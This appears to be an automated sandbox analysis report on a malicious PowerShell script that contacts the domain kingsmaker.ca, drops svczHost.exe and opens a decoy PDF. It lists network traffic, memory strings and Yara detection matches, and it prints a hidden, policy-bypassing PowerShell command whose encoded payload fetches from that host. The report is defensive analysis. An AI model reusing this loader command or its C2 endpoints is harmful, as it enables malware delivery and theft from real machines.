en-US,en;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-alivesec-ch-ua: "Chromium";v="105"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01x-adobe-uuid: 6b46b3a2-3e7e-4ecf-a0bd-800d51e01d42x-adobe-uuid-type: visitorIdx-api-key: AdobeReader9sec-ch-ua-platform: "Windows"Origin: https://rna-resource.acrobat.comAccept-Language: en-US,en;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa66742445be33750b633b56ea7f99bbb29fdde9b913e810a43e3fb7fc67f0c3fa02ef9b3c2868997a0d2ca950c4eb32e3b408791f34e135b54dbce6fa1a4c76 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.ca
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: kingsmaker.caConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: kingsmaker.ca
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: unknown

HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139fde1595928ef28d057 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 302

Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://.jpg
Source: svchost.exe, 0000000E.00000003.1707011837.0000021584730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000000.00000002.1805165042.000002725671D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DADB5DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kingsmaker.ca
Source: powershell.exe, 00000000.00000002.1895261189.0000027264CC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1895261189.0000027264E65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F534000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DBE3B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9E37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DAE06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: powershell.exe, 00000000.00000002.1805165042.0000027254C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1731777978.0000027463201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp, powershell.exe, 0000001B.00000002.2307976891.000001670F381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA4D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9E37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DAE06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.1853636972.000002747B320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000001B.00000002.2921270489.000001672745E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coL
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAE99B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF7409F1000.00000002.00000001.01000000.0000000C.sdmp, svczHost.exe.11.dr	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF740B0A000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000000.00000002.1805165042.0000027254C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1731777978.0000027463201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2307976891.000001670F381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DA4D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001F.00000002.2325249929.00000244DB603000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2950890202.00000244F24F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000001F.00000002.2325249929.00000244DBAF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000E.00000003.1707011837.00000215847A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000E.00000003.1707011837.0000021584730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: powershell.exe, 0000001F.00000002.2325249929.00000244DA6F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000B.00000002.2943260832.000001DAE99B1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000017.00000000.2230048151.00007FF7409F1000.00000002.00000001.01000000.0000000C.sdmp, svczHost.exe.11.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 0000001B.00000002.2307976891.0000016710940000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DBAF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.cX2k
Source: powershell.exe, 00000000.00000002.1805165042.0000027254E77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9C8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DADB5DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca
Source: powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/4cbd637a18X
Source: powershell.exe, 00000000.00000002.1805165042.000002725539B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1805165042.000002725627C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1
Source: powershell.exe, 00000000.00000002.1805165042.0000027255232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139
Source: powershell.exe, 0000000B.00000002.2269320725.000001DAD9CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8
Source: powershell.exe, 00000000.00000002.1805165042.00000272552EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e
Source: powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/4cbd637a18ca7708e831aa08ab10a140e403e6fad5X
Source: powershell.exe, 00000000.00000002.1805165042.00000272552EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e7
Source: powershell.exe, 0000000B.00000002.2269320725.000001DAD9CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa667424
Source: powershell.exe, 00000006.00000002.1731777978.0000027463464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db11
Source: powershell.exe, 00000000.00000002.1805165042.0000027255232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1805165042.00000272552A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729
Source: powershell.exe, 0000000B.00000002.2269320725.000001DAD9911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269320725.000001DAD9B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a
Source: powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/c9af
Source: powershell.exe, 00000000.00000002.1805165042.000002725539B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/c9af4eb65b32cc5a1a04364bb04718580813a988e08eb74585229c2e772e2187549fdd22
Source: powershell.exe, 00000000.00000002.1805165042.00000272557C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file2/c9afX
Source: powershell.exe, 00000000.00000002.1805165042.0000027254E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kingsmaker.ca/file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb
Source: powershell.exe, 00000000.00000002.1895261189.0000027264CC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2859043467.000001671F534000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2325249929.00000244DBE3B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2892803612.00000244EA541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.75.170:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.170:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.170:443 -> 192.168.2.8:49723 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_3688.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3688, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4E92D6	0_2_00007FFB4B4E92D6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4EA082	0_2_00007FFB4B4EA082
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4E5B6D	0_2_00007FFB4B4E5B6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F10FA	0_2_00007FFB4B4F10FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F0ED3	0_2_00007FFB4B4F0ED3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F0DEB	0_2_00007FFB4B4F0DEB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F3D0D	0_2_00007FFB4B4F3D0D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4B4F0D96	0_2_00007FFB4B4F0D96
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_00007FFB4B4D7796	27_2_00007FFB4B4D7796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_00007FFB4B4D8542	27_2_00007FFB4B4D8542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFB4B4E0EF2	31_2_00007FFB4B4E0EF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFB4B4EBB69	31_2_00007FFB4B4EBB69

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\svczHost.exe 41310862773697FF00306B143FFDA60C87D2EA4E44774289F1F2ED0E74D2CF1B

Source: svczHost.exe.11.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3675
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3628
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3675	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3628	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_3688.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3688, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winPS1@47/74@4/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7280:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8776:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9084:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_da43ugkj.zyr.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: kingsmaker_6.ca.ps1

Virustotal: Detection: 16%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9F33.tmp" "c:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Company Booklet.pdf"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwB